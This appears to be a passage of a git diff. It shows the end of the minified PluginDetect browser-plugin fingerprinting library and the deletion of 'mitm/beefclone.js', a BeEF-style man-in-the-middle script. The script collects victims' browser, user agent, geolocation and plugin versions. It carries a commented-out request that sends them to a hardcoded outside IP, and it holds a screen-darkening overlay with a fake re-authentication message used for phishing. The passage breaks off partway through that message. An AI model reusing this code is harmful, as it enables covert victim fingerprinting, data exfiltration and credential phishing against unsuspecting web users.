c.aA_},AppletTag:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;return d.isIE?!a.javaEnabled():0},VerifyTagsDefault_1:function(){var a=this.$;if(a.OS>=20){return 1}if((a.isIE&&(a.verIE<9||!a.ActiveXEnabled))||(a.verGecko&&a.compareNums(a.verGecko,a.formatNum("2"))<0)||(a.isSafari&&(!a.verSafari||a.compareNums(a.verSafari,a.formatNum("4"))<0))||(a.verOpera&&a.verOpera<10)){return 0}return 1},z:0},can_Insert_Query:function(d){var b=this,c=b.results[0][0],a=b.getResult()[0];if(b.HTML[d]||(d==0&&c!==null&&!b.isRange(c))||(d==0&&a&&!b.isRange(a))){return 0}return !b.isDisabled.single(d)},can_Insert_Query_Any:function(){var b=this,a;for(a=0;a0||!c.isRange(a));if(!c.can_Insert_Query(e)||f[e]===0){return 0}if(f[e]==3||(f[e]==2.8&&!a)){return 1}if(!b.nonAppletDetectionOk(b.version0)){if(f[e]==2||(f[e]==1&&!a)){return 1}}return 0},should_Insert_Query_Any:function(){var b=this,a;for(a=0;a]/).test(a||"")?(a.charAt(0)==">"?1:-1):0},setRange:function(b,a){return(b?(b>0?">":"<"):"")+(this.$.isString(a)?a:"")},insertJavaTag:function(g,n,h,o,m){var e=this,c=e.$,k=e.$$,r="A.class",b=c.file.getValid(k),f=b.name+b.ext,q=b.path;var i=["archive",f,"code",r],l=(o?["width",o]:[]).concat(m?["height",m]:[]),j=["mayscript","true"],p=["scriptable","true","codebase_lookup","false"].concat(j),a=k.navigator,d=!c.isIE&&a.mimeObj&&a.mimeObj.type?a.mimeObj.type:k.mimeType[0];if(g==1){return c.isIE?c.DOM.insert("object",["type",d].concat(l),["codebase",q].concat(i).concat(p),h,k,0,n):c.DOM.insert("object",["type",d].concat(l),["codebase",q].concat(i).concat(p),h,k,0,n)}if(g==2){return c.isIE?c.DOM.insert("applet",["alt",h].concat(j).concat(i).concat(l),["codebase",q].concat(p),h,k,0,n):c.DOM.insert("applet",["codebase",q,"alt",h].concat(j).concat(i).concat(l),[].concat(p),h,k,0,n)}if(g==3){return c.isIE?c.DOM.insert("object",["classid",k.classID].concat(l),["codebase",q].concat(i).concat(p),h,k,0,n):c.DOM.insert()}if(g==4){return c.DOM.insert("embed",["codebase",q].concat(i).concat(["type",d]).concat(p).concat(l),[],h,k,0,n)}},insert_Query_Any:function(i){var b=this,d=b.$,c=b.$$,g=b.results,j=b.HTML,a=d.DOM.altHTML,e,h=d.file.getValid(c);if(b.should_Insert_Query(0)){if(c.OTF<2){c.OTF=2};g[0]=[0,0];e=i?b.codebase.isMin(i):b.codebase.search();if(e){g[0][0]=i?b.setRange(e,i):e}b.active[0]=e?1.5:-1}if(!h){return b.getResult()}if(!b.DummySpanTagHTML){b.DummySpanTagHTML=d.DOM.insert("",[],[],a)}if(b.should_Insert_Query(1)){if(c.OTF<2){c.OTF=2};j[1]=b.insertJavaTag(1,0,a);g[1]=[0,0];b.query(1)}if(b.should_Insert_Query(2)){if(c.OTF<2){c.OTF=2};j[2]=b.insertJavaTag(2,0,a);g[2]=[0,0];b.query(2)}if(b.should_Insert_Query(3)){if(c.OTF<2){c.OTF=2};j[3]=b.insertJavaTag(3,0,a);g[3]=[0,0];b.query(3)}if(d.DOM.isEnabled.objectTag()){if(!b.DummyObjTagHTML&&(j[1]||j[2])){b.DummyObjTagHTML=d.DOM.insert("object",["type",c.mimeType_dummy],[],a)}if(!b.DummyObjTagHTML2&&j[3]){b.DummyObjTagHTML2=d.DOM.insert("object",["classid",c.classID_dummy],[],a)}}var f=c.NOTF;if(c.OTF<3&&f.shouldContinueQuery()){c.OTF=3;f.onIntervalQuery=d.ev.handler(f.$$onIntervalQuery,f);if(!d.win.loaded){d.win.funcs0.push([f.winOnLoadQuery,f])}setTimeout(f.onIntervalQuery,f.intervalLength)}return b.getResult()}},NOTF:{$:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function(){var f=this,e=f.$,c=f.$$,b=c.applet,a,d=0;if(e.win.loaded&&f.count>f.countMax){return 0}for(a=0;af.countMax&&e.codebase.checkGarbage(b.HTML[a].span)){d=1;b.HTML[a].DELETE=1}if(!d&&!b.results[a][0]&&(b.allowed[a]>=2||(b.allowed[a]==1&&!b.getResult()[0]))&&f.isAppletActive(a)>=0){return 1}}};return 0},isJavaActive:function(d){var f=this,c=f.$$,a,b,e=-9;for(a=0;ae){e=b}}return e},isAppletActive:function(e,g){var h=this,f=h.$,b=h.$$,l=b.navigator,a=b.applet,i=a.HTML[e],d=a.active,k,c=0,j,m=d[e];if(g||m>=1.5||!i||!i.span){return m};j=f.DOM.getTagStatus(i,a.DummySpanTagHTML,a.DummyObjTagHTML,a.DummyObjTagHTML2,h.count);for(k=0;k0){c=1}}if(j!=1){m=j}else{if(f.isIE||(b.version0&&l.javaEnabled()&&l.mimeObj&&(i.tagName=="object"||c))){m=1}else{m=0}}d[e]=m;return m},winOnLoadQuery:function(c,d){var b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();d.queryCompleted(a)}},$$onIntervalQuery:function(d){var c=d.$,b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();if(!d.shouldContinueQuery()){d.queryCompleted(a)}}d.count++;if(b.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},queryAllApplets:function(){var f=this,e=f.$,d=f.$$,c=d.applet,b,a;for(b=0;b=4){return}e.OTF=4;var a=g.isJavaActive();for(b=0;b2;h--){c=g.getAXO(j.progID+"."+h);if(c){a=h.toString();break}}if(!c){c=g.getAXO(j.progID)}if(a=="6"){try{c.AllowScriptAccess="always"}catch(k){return"6,0,21,0"}}try{l=b(c.GetVariable("$version"))}catch(k){}if(!l&&a){l=a}}j.installed=l?1:-1;j.version=g.formatNum(l);return true}},shockwave:{$:1,mimeType:"application/x-director",progID:"SWCtl.SWCtl",classID:"clsid:166B1BCA-3F9C-11CF-8075-444553540000",getVersion:function(){var a=null,b=null,g,f,d=this,c=d.$;if(!c.isIE){f=c.findNavPlugin("Shockwave\\s*for\\s*Director");if(f&&f.description&&c.hasMimeType(d.mimeType)){a=c.getNum(f.description)}if(a){a=c.getPluginFileVersion(f,a)}}else{try{b=c.getAXO(d.progID).ShockwaveVersion("")}catch(g){}if(c.isString(b)&&b.length>0){a=c.getNum(b)}else{if(c.getAXO(d.progID+".8")){a="8"}else{if(c.getAXO(d.progID+".7")){a="7"}else{if(c.getAXO(d.progID+".1")){a="6"}}}}}d.installed=a?1:-1;d.version=c.formatNum(a)}},windowsmediaplayer:{$:1,mimeType:["application/x-mplayer2","application/asx","application/x-ms-wmp"],navPluginObj:null,progID:"WMPlayer.OCX",classID:"clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6",INSTALLED:{dfault:null,inputMime:{}},getVersion:function(i,g){var c=this,f=c.$,l,e=null,h=null,j=c.mimeType,k="Totem|VLC",b,d,a;c.installed=-1;if(f.isString(g)){g=g.replace(/\s/g,"");if(g){j=g}}else{g=null}if(g){d=c.INSTALLED.inputMime[g];if(f.isDefined(d)){c.installed=d;return}}else{d=c.INSTALLED.dfault;if(d!==null){c.installed=d;return}}if(!f.isIE){if(f.OS<20&&f.OS>=3){c.installed=-1;return}a={wmp:"Windows\\s*Media\\s*Player.*Plug-?in|Flip4Mac.*Windows\\s*Media.*Plug-?in",wmpFirefox:"Windows\\s*Media\\s*Player.*Firefox.*Plug-?in",avoidPlayers:"Totem|VLC|RealPlayer"};if(c.getVersionDone===null){c.getVersionDone=0;e=f.getMimeEnabledPlugin(c.mimeType,a.wmp,a.avoidPlayers);if(!g){l=e}if(!e&&f.hasMimeType(c.mimeType)){e=f.findNavPlugin(a.wmp,0,a.avoidPlayers)}if(e){c.navPluginObj=e;b=(f.isGecko&&f.compareNums(f.verGecko,f.formatNum("1.8"))<0);b=b||(f.isOpera&&f.verOpera<10);b=b||f.isChrome;if(f.DOM.isEnabled.objectTag()&&!b&&f.getMimeEnabledPlugin(c.mimeType[2],a.wmpFirefox,a.avoidPlayers)){h=f.getPROP(f.DOM.insert("object",["type",c.mimeType[2],"data",""],["src",""],"",c).obj(),"versionInfo")||h}}}else{h=c.version}if(!f.isDefined(l)){l=f.getMimeEnabledPlugin(j,a.wmp,a.avoidPlayers)}c.installed=l&&h?1:(l?0:(c.navPluginObj?-0.2:-1))}else{e=f.getAXO(c.progID);h=f.getPROP(e,"versionInfo")||h;c.installed=e&&h?1:(e?0:-1)}if(!c.version){c.version=f.formatNum(h)}if(g){c.INSTALLED.inputMime[g]=c.installed}else{c.INSTALLED.dfault=c.installed}}},silverlight:{$:1,mimeType:"application/x-silverlight",progID:"AgControl.AgControl",digits:[20,20,9,12,31],getVersion:function(){var e=this,c=e.$,k=document,i=null,b=null,f=null,h=true,a=[1,0,1,1,1],r=[1,0,1,1,1],j=function(d){return(d<10?"0":"")+d.toString()},n=function(s,d,u,v,t){return(s+"."+d+"."+u+j(v)+j(t)+".0")},o=function(s,d,t){return q(s,(d==0?t:r[0]),(d==1?t:r[1]),(d==2?t:r[2]),(d==3?t:r[3]),(d==4?t:r[4]))},q=function(v,t,s,x,w,u){var u;try{return v.IsVersionSupported(n(t,s,x,w,u))}catch(u){}return false};if(!c.isIE){var g;if(c.hasMimeType(e.mimeType)){g=c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0;if(c.isGecko&&g){h=false}f=c.findNavPlugin("Silverlight.*Plug-?in",0);if(f&&f.description){i=c.formatNum(f.description)}if(i){r=i.split(c.splitNumRegx);if(parseInt(r[2],10)>=30226&&parseInt(r[0],10)<2){r[0]="2"}i=r.join(",")}}e.installed=f&&h&&i?1:(f&&h?0:(f?-0.2:-1))}else{b=c.getAXO(e.progID);var m,l,p;if(b&&q(b,a[0],a[1],a[2],a[3],a[4])){for(m=0;m',DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]},compareNums:function(e,d){var c=this.$,k=e.split(c.splitNumRegx),i=d.split(c.splitNumRegx),h,b,a,g,f,j;for(h=0;h0)?RegExp.$2.charCodeAt(0):-1;j=/([\d]+)([a-z]?)/.test(i[h]);a=parseInt(RegExp.$1,10);f=(h==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(b!=a){return(b>a?1:-1)}if(h==2&&g!=f){return(g>f?1:-1)}}return 0},setPluginStatus:function(e,a,f){var d=this,c=d.$,b=d.installed;d.installed=a?1:(f?(f>0?0.7:-0.1):(e?0:-1));if(a){d.version=c.formatNum(a)}d.getVersionDone=d.installed==0.7||d.installed==-0.1?0:1;c.codebase.emptyGarbage()},getVersion:function(c){var e=this,d=e.$,f=null,a=null,b;if(!d.isIE){if(d.hasMimeType(e.mimeType)){f=d.findNavPlugin("VLC.*Plug-?in",0,"Totem");if(f&&f.description){a=d.getNum(f.description,"[\\d][\\d\\.]*[a-z]*")}}}else{f=d.getAXO(e.progID);if(f){a=d.getNum(d.getPROP(f,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*")};if(!a||d.dbug){b=e.codebase.isMin(c);if(b){e.setPluginStatus(0,0,b);return}}if(!a||d.dbug){a=e.codebase.search()}}e.setPluginStatus(f,a,0)}},adobereader:{$:1,setPluginStatus:function(){var d=this,b=d.$,a=d.navPlugin.detected,e=d.navPlugin.version,g=d.axo.detected,c=d.axo.version,i=d.doc.detected,h=d.doc.version,f=e||c||h||null;d.installed=f?1:(a>0||g>0||i>0?0:(i==-0.5?-0.15:(b.isIE&&(!b.ActiveXEnabled||b.ActiveXFilteringEnabled)?-1.5:-1)));d.version=b.formatNum(f)},getVersion:function(c,e){var a=this,d=a.$,b=0;if((!b||d.dbug)&&a.navPlugin.query().detected>0){b=1}if((!b||d.dbug)&&a.axo.query().detected>0){b=1}if((!b||d.dbug)&&(a.doc.query().detected>0||a.doc.detected==-0.5)){b=1}a.setPluginStatus()},navPlugin:{$:1,detected:0,version:null,mimeType:"application/pdf",isDisabled:function(){var c=this,b=c.$,a=c.$$;return b.isIE||c.detected||!b.hasMimeType(c.mimeType)?1:0},attempt3:function(){var c=this,b=c.$,a=null;if(b.OS==1){if(b.hasMimeType("application/vnd.adobe.pdfxml")){a="9"}else{if(b.hasMimeType("application/vnd.adobe.x-mars")){a="8"}else{if(b.hasMimeType("application/vnd.adobe.xfdf")){a="6"}}}}return a},query:function(){var d=this,c=d.$,a=d.$$,f,e,b=null;if(d.isDisabled()){return d};f="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";e=c.findNavPlugin(f,0);d.detected=e?1:-1;if(e){b=c.getNum(e.description)||c.getNum(e.name);b=c.getPluginFileVersion(e,b);if(!b){b=d.attempt3()}}if(b){d.version=b};return d}},pluginQuery:function(j){var f=this,d=f.$,b="",h=null,g,a,i,c;try{if(j){b=j.GetVersions()}}catch(g){}if(b&&d.isString(b)){a=/=\s*([\d\.]+)/g;for(i=0;i<30;i++){if(a.test(b)){c=d.formatNum(RegExp.$1);if(!h||d.compareNums(c>h)>0){h=c}}else{break}}}return h},axo:{$:1,detected:0,version:null,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],isDisabled:function(){var b=this,c=b.$,a=b.$$;return c.isIE&&!b.detected?0:1},query:function(){var d=this,e=d.$,b=d.$$,f=0,c=null,a;if(d.isDisabled()){return d};for(a=0;a0||h?1:(b==-0.1||b==-0.5?-0.5:-1);i.version=h?h:null;return i}}},pdfreader:{$:1,OTF:null,detectIE3P:0,setPluginStatus:function(){var a=this,e=a.$,f=a.doc.result,d=a.mime.result,c=a.axo.result,b=a.OTF;a.version=null;if(b==3){a.installed=-0.5}else{a.installed=f>0||d>0||c>0?0:(f==-0.5?-0.15:(e.isIE&&(!e.ActiveXEnabled||e.ActiveXFilteringEnabled||!a.detectIE3P)?-1.5:-1))}if(a.verify&&a.verify.isEnabled()){a.getVersionDone=0}else{if(a.getVersionDone!=1){a.getVersionDone=!a.doc.isDisabled()&&a.installed<=-1?0:1}}},getVersion:function(k,d,m){var f=this,b=f.$,h=false,c,a,i,g=f.NOTF,l=f.doc,j=f.verify;if(b.isDefined(m)){f.detectIE3P=m?1:0}if(f.getVersionDone===null){f.OTF=0;if(j){j.begin()}}b.file.save(f,".pdf",d);if(f.getVersionDone===0){if(j&&j.isEnabled()&&b.isNum(f.installed)&&f.installed>=0){return}if(l.insertHTMLQuery()>0){h=true}f.setPluginStatus();return}if((!h||b.dbug)&&f.mime.query()>0){h=true}if((!h||b.dbug)&&f.axo.query()>0){h=true}if((!h||b.dbug)&&l.insertHTMLQuery()>0){h=true}f.setPluginStatus()},mime:{$:1,mimeType:"application/pdf",result:0,isDisabled:function(){var a=this.$;return a.isIE?1:0},query:function(){var c=this,b=c.$,a=c.$$;if(!c.isDisabled()&&!c.result){c.result=b.hasMimeType(c.mimeType)?1:-1}return c.result}},axo:{$:1,result:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],prodID3rd:["NitroPDF.IE.ActiveDoc","PDFXCviewIEPlugin.CoPDFXCviewIEPlugin","PDFXCviewIEPlugin.CoPDFXCviewIEPlugin.1","FoxitReader.FoxitReaderCtl","FoxitReader.FoxitReaderCtl.1","FOXITREADEROCX.FoxitReaderOCXCtrl","FOXITREADEROCX.FoxitReaderOCXCtrl.1"],isDisabled:function(){var a=this.$;return a.isIE?0:1},query:function(){var c=this,d=c.$,b=c.$$,a;if(!c.isDisabled()&&!c.result){c.result=-1;for(a=0;a=2){b=1}else{if(c.dbug){}else{if(!c.DOM.isEnabled.objectTag()||(c.isGecko&&c.compareNums(c.verGecko,"2,0,0,0")<=0&&c.OS<=4)||(c.isOpera&&c.verOpera<=11&&c.OS<=4)||(c.isChrome&&c.compareNums(c.verChrome,"10,0,0,0")<0&&c.OS<=4)){b=1}}}return b},queryObject:function(c){var f=this,e=f.$,b=f.$$,a=0,d=1;a=e.DOM.getTagStatus(f.HTML,f.DummySpanTagHTML,f.DummyObjTagHTML1,0,c,d);f.result=a;return a},insertHTMLQuery:function(){var g=this,f=g.$,a=g.$$,b=a.pdf,d=f.file.getValid(a),e=1,c=f.DOM.altHTML;if(!d||!d.full||g.isDisabled()){return g.result}if(a.OTF<2){a.OTF=2};d=d.full;if(!g.DummySpanTagHTML){g.DummySpanTagHTML=f.DOM.insert("",[],[],c,a,e)}if(!g.HTML){g.HTML=f.DOM.insert("object",(f.isIE&&!a.detectIE3P?["classid",g.classID]:["type",g.mimeType]).concat(["data",d]),["src",d],c,a,e)}if(!g.DummyObjTagHTML1){g.DummyObjTagHTML1=f.DOM.insert("object",(f.isIE&&!a.detectIE3P?["classid",g.classID_dummy]:["type",g.mimeType_dummy]),[],c,a,e)}g.queryObject();if(f.isIE&&g.result===0){g.HTML.span.innerHTML=g.HTML.outerHTML;g.DummyObjTagHTML1.span.innerHTML=g.DummyObjTagHTML1.outerHTML;g.queryObject()}if((g.result>0||g.result<-0.1)&&!f.dbug){return g.result}var h=a.NOTF;if(a.OTF<3&&g.HTML&&h){a.OTF=3;h.onIntervalQuery=f.ev.handler(h.$$onIntervalQuery,h);if(!f.win.loaded){f.win.funcs0.push([h.winOnLoadQuery,h])}setTimeout(h.onIntervalQuery,h.intervalLength)}return g.result}},NOTF:{$:1,count:0,countMax:25,intervalLength:250,$$onIntervalQuery:function(d){var b=d.$,a=d.$$,c=a.doc;if(a.OTF==3){c.queryObject(d.count);if(c.result||(b.win.loaded&&d.count>d.countMax)){d.queryCompleted()}}d.count++;if(a.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},winOnLoadQuery:function(b,d){var a=d.$$,c=a.doc;if(a.OTF==3){c.queryObject(d.count);d.queryCompleted()}},queryCompleted:function(){var d=this,b=d.$,a=d.$$,c=a.doc;if(a.OTF==4){return}a.OTF=4;a.setPluginStatus();if(b.onDetectionDone&&a.funcs){b.ev.callArray(a.funcs)}if(b.DOM){b.DOM.onDoneEmptyDiv()}}},getInfo:function(){var b=this,c=b.$,a={OTF:(b.OTF<3?0:(b.OTF==3?1:2)),DummyPDFused:(b.doc.result>0?true:false)};return a},zz:0},realplayer:{$:1,mimeType:["audio/x-pn-realaudio-plugin"],progID:["rmocx.RealPlayer G2 Control","rmocx.RealPlayer G2 Control.1","RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)","RealVideo.RealVideo(tm) ActiveX Control (32-bit)","RealPlayer"],classID:"clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA",INSTALLED:{},q1:[[11,0,0],[999],[663],[663],[663],[660],[468],[468],[468],[468],[468],[468],[431],[431],[431],[372],[180],[180],[172],[172],[167],[114],[0]],q3:[[6,0],[12,99],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,46],[12,46],[12,46],[11,3006],[11,2806],[11,2806],[11,2804],[11,2804],[11,2799],[11,2749],[11,2700]],compare:function(g,f){var e,d=g.length,i=f.length,c,h;for(e=0;eh){return 1}if(cf[0].length?d.slice(f[0].length):[];if(g.compare(b,f[1])>0||g.compare(b,f[f.length-1])<0){return i}for(h=f.length-1;h>=1;h--){if(h==1){break}if(g.compare(f[h],b)==0&&g.compare(f[h],f[h-1])==0){break}if(g.compare(b,f[h])>=0&&g.compare(b,f[h-1])<0){break}}return e[0].join(".")+"."+e[h].join(".")},getVersion:function(m,n){var j=this,k=null,c=0,g=0,d=j.$,q,i,s,a=j.mimeType[0];if(d.isString(n)){n=n.replace(/\s/g,"");if(n){a=n}}else{n=null}if(d.isDefined(j.INSTALLED[a])){j.installed=j.INSTALLED[a];return}if(!d.isIE){var l="RealPlayer.*Plug-?in",h=d.hasMimeType(j.mimeType),o=d.findNavPlugin(l,0);if(h&&o){c=1;if(n){if(d.getMimeEnabledPlugin(n,l)){g=1}else{g=0}}else{g=1}}if(j.getVersionDone!==0){j.getVersionDone=0;if(h){var p=1,b=null,r=null;s=d.hasMimeType("application/vnd.rn-realplayer-javascript");if(s){b=d.formatNum(d.getNum(s.enabledPlugin.description))};if(d.OS==1&&b){var f=b.split(d.splitNumRegx);r=true;if(j.compare(f,[6,0,12,200])<0){r=false}else{if(j.compare(f,[6,0,12,1739])<=0&&j.compare(f,[6,0,12,857])>=0){r=false}}}if(r===false){p=0}if(d.OS<=2){if(d.isGecko&&d.compareNums(d.verGecko,d.formatNum("1,8"))<0){p=0}if(d.isChrome){p=0}if(d.isOpera&&d.verOpera<10){p=0}}else{p=0}if(!k&&p&&d.DOM.isEnabled.objectTag()){s=d.DOM.insert("object",["type",j.mimeType[0]],["src","","autostart","false","imagestatus","false","controls","stopbutton"],"",j).obj();try{k=d.getNum(s.GetVersionInfo())}catch(q){}d.DOM.setStyle(s,["display","none"])}if(!k&&b&&r===false){s=j.convertNum(b,j.q3,j.q1);k=s?s:b}}}else{k=j.version}j.installed=c&&g&&k?1:(c&&g?0:(c?-0.2:-1))}else{s=null;for(i=0;i',DIGITMAX:[[100,100,100,0]],DIGITMIN:[0,0,0,0],Upper:["99999"],Lower:["0"],convert:[1]},clone:function(c,a){var h=this,d=h.$,g,e,i,f=0,b=20;if(d.isNum(c)||d.isString(c)||c===null||d.isFunc(c)||c===d||c===d.Plugins||c===h){return c}else{if(c.window||c.firstChild||c.appendChild){return c}else{if(d.isArray(c)){i=[]}else{if(c){i={}}}}}for(g in c){f++;i[g]=h.clone(c[g],g)}return i},setPluginStatus:function(e,a,b){var d=this,c=d.$;d.version=c.formatNum(a);d.installed=a?1:(e?(e>0?0.7:-0.1):(b?-3:-1))},getVersion:function(f,g,j){var k=this,e=k.$,b=null,h=null,i,d,c,a="";k.getVersionDone=0;if(g&&e.isString(g)&&(/[^\s]+/).test(g)){g=g.replace(/\s/g,"");a=g.replace(/[\:\-\/]/g,"$")}else{k.setPluginStatus(0,0,1);return}if(e.isArray(j)){if(!j.length){j.push(0)}for(i=0;i99999999){k.setPluginStatus(0,0,1);return}}if(a&&k.storage[a]){d=k.storage[a].codebase;c=0;for(i=0;i(i0?0:-1}if(b.verify&&b.verify.isEnabled()){b.getVersionDone=0}else{if(b.getVersionDone!=1){b.getVersionDone=!b.doc.isDisabled()&&b.installed<=-1?0:1}}},getVersion:function(c,b){var d=this,e=d.$,a=false,g=d.verify,h=d.NOTF,f=d.doc;if(d.getVersionDone===null){d.OTF=0;if(g){g.begin()}}e.file.save(d,".pdf",b);if(d.getVersionDone===0){if(g&&g.isEnabled()&&e.isNum(d.installed)&&d.installed>=0){return}}if((!a||e.dbug)&&f.insertHTMLQuery()>0){a=true}d.setPluginStatus()},doc:{$:1,result:0,mimeType:"application/pdf",mimeType_dummy:"application/dummymimepdf",DummySpanTagHTML:0,HTML:0,DummyObjTagHTML1:0,isDisabled:function(){var d=this,c=d.$,b=d.$$,a=0;if(b.OTF>=2){a=1}else{if(c.dbug){}else{if(!c.DOM.isEnabled.objectTag()||!c.isGecko){a=1}}}return a},queryObject:function(b){var j=this,g=j.$,h=j.$$,i,f=j.HTML?j.HTML.obj():0,d=0,c=0,a=g.dbug&&!g.win.loaded?0:1;try{if(f&&f.contentDocument){d=1}}catch(i){}if(d&&a){j.result=1};if(!d||g.dbug){c=g.DOM.getTagStatus(j.HTML,j.DummySpanTagHTML,j.DummyObjTagHTML1,0,b);if(c<0&&a){j.result=-1}};return j.result},insertHTMLQuery:function(){var g=this,f=g.$,d=g.$$,a=d.pdf,c=f.file.getValid(d),e=1,b=f.DOM.altHTML;if(!c||!c.full||g.isDisabled()){return g.result}if(d.OTF<2){d.OTF=2}c=c.full;if(!g.DummySpanTagHTML){g.DummySpanTagHTML=f.DOM.insert("",[],[],b,d,e)}if(!g.HTML){g.HTML=f.DOM.insert("object",["type",g.mimeType,"data",c],["src",c],b,d,e)}if(!g.DummyObjTagHTML1){g.DummyObjTagHTML1=f.DOM.insert("object",["type",g.mimeType_dummy],[],b,d,e)}g.queryObject();if((g.result>0||g.result<0)&&!f.dbug){return g.result}var h=d.NOTF;if(d.OTF<3&&g.HTML&&h){d.OTF=3;h.onIntervalQuery=f.ev.handler(h.$$onIntervalQuery,h);if(!f.win.loaded){f.win.funcs0.push([h.winOnLoadQuery,h])}setTimeout(h.onIntervalQuery,h.intervalLength)}return g.result}},NOTF:{$:1,count:0,countMax:25,intervalLength:250,$$onIntervalQuery:function(d){var b=d.$,a=d.$$,c=a.doc;if(a.OTF==3){c.queryObject(d.count);if(c.result||(b.win.loaded&&d.count>d.countMax)){d.queryCompleted()}}d.count++;if(a.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},winOnLoadQuery:function(b,d){var a=d.$$,c=a.doc;if(a.OTF==3){c.queryObject(d.count);d.queryCompleted()}},queryCompleted:function(){var d=this,b=d.$,a=d.$$,c=a.doc;if(a.OTF==4){return}a.OTF=4;a.setPluginStatus();if(b.onDetectionDone&&a.funcs){b.ev.callArray(a.funcs)}if(b.DOM){b.DOM.onDoneEmptyDiv()}}},zz:0},zz:0}};PluginDetect.INIT(); \ No newline at end of file diff --git a/mitm/beefclone.js b/mitm/beefclone.js deleted file mode 100755 index e9ccfbb..0000000 --- a/mitm/beefclone.js +++ /dev/null @@ -1,237 +0,0 @@ - var geolocation = ""; - var browserVer = ""; - var userAgent = ""; - - function browserVersion(){ - var browser = ''; - var browserVersion = 0; - if (/Opera[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { - browser = 'Opera'; - } else if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) { - browser = 'MSIE'; - } else if (/Navigator[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { - browser = 'Netscape'; - } else if (/Chrome[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { - browser = 'Chrome'; - } else if (/Safari[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { - browser = 'Safari'; - /Version[\/\s](\d+\.\d+)/.test(navigator.userAgent); - browserVersion = new Number(RegExp.$1); - } else if (/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { - browser = 'Firefox'; - } - if(browserVersion === 0){ - browserVersion = parseFloat(new Number(RegExp.$1)); - } - browserVer ="browser="+browser+"&browserVersion="+browserVersion; - userAgent = "&userAgent="+navigator.userAgent; - } - - function showLocation(position) { - var latitude = position.coords.latitude; - var longitude = position.coords.longitude; - geolocation = "&latitude="+latitude+"&longitude="+longitude; - //alert("Latitude : " + latitude + " Longitude: " + longitude); - getVersion(); - } - - function getVersion(){ - browserVersion(); - - //var tz = jstz.determine(); - //var timezone = "&timezone="+tz.name(); - - //var visits = visits; - var referer = document.referrer; - var qtversion = PluginDetect.getVersion("quicktime"); - var axversion = PluginDetect.getVersion("activex"); - var flashversion = PluginDetect.getVersion("flash"); - var ieversion = PluginDetect.getVersion("iecomponent"); - var javaversion = PluginDetect.getVersion("java"); - var pdfjsversion = PluginDetect.getVersion("pdfjs"); - var pdfreaderversion = PluginDetect.getVersion("pdfreader"); - var realplayerversion = PluginDetect.getVersion("realplayer"); - var shockwaveversion = PluginDetect.getVersion("shockwave"); - var silverlightversion = PluginDetect.getVersion("silverlight"); - var vlcversion = PluginDetect.getVersion("vlc"); - var windowsmpversion = PluginDetect.getVersion("windowsmediaplayer"); - - var output = ""; - output += browserVer; - output += userAgent; - output += "&visits="+visits; - output += "&qtversion="+qtversion; - output += "&axversion="+axversion; - output += "&flashversion="+ flashversion; - output += "&ieversion="+ ieversion; - output += "&javaversion="+ javaversion; - output += "&pdfjsversion="+ pdfjsversion; - output += "&pdfreaderversion="+ pdfreaderversion; - output += "&realplayerversion="+ realplayerversion; - output += "&shockwaveversion="+ shockwaveversion; - output += "&silverlightversion="+ silverlightversion; - output += "&vlcversion="+ vlcversion; - output += "&windowsmpversion="+ windowsmpversion; - return output; - - // $.ajax({ - // type: "GET", - // url: "http://96.126.106.188:8888/bin/process", - // data: output, - // success: function() { - // } - // }); - - } - - function errorHandler(err) { - if(err.code == 1) { - //alert("Error: Access is denied!"); - }else if( err.code == 2) { - //alert("Error: Position is unavailable!"); - } - } - function getLocation(){ - if(navigator.geolocation){ - // timeout at 60000 milliseconds (60 seconds) - var options = {timeout:60000}; - navigator.geolocation.getCurrentPosition(showLocation, - errorHandler, - options); - - }else{ - alert("Sorry, browser does not support geolocation!"); - } - } - - var answer= ''; - function grayOut(vis, options) { - var options = options || {}; - var zindex = options.zindex || 50; - var opacity = options.opacity || 70; - var opaque = (opacity / 100); - var bgcolor = options.bgcolor || '#000000'; - var dark=document.getElementById('darkenScreenObject'); - if (!dark) { - var tbody = document.getElementsByTagName("body")[0]; - var tnode = document.createElement('div'); // Create the layer. - tnode.style.position='absolute'; // Position absolutely - tnode.style.top='0px'; // In the top - tnode.style.left='0px'; // Left corner of the page - tnode.style.overflow='hidden'; // Try to avoid making scroll bars - tnode.style.display='none'; // Start out Hidden - tnode.id='darkenScreenObject'; // Name it so we can find it later - tbody.appendChild(tnode); // Add it to the web page - dark=document.getElementById('darkenScreenObject'); // Get the object. - } - if (vis) { - var pageWidth='100%'; - var pageHeight='100%'; - dark.style.opacity=opaque; - dark.style.MozOpacity=opaque; - dark.style.filter='alpha(opacity='+opacity+')'; - dark.style.zIndex=zindex; - dark.style.backgroundColor=bgcolor; - dark.style.width= pageWidth; - dark.style.height= pageHeight; - dark.style.display='block'; - } else { - dark.style.display='none'; - } - } - - // CURRENTLY NOT USED - // Send done prompt to user - function win(){ - document.getElementById('popup').innerHtml='

Thank you for re-authenticating, you will now be returned to the application

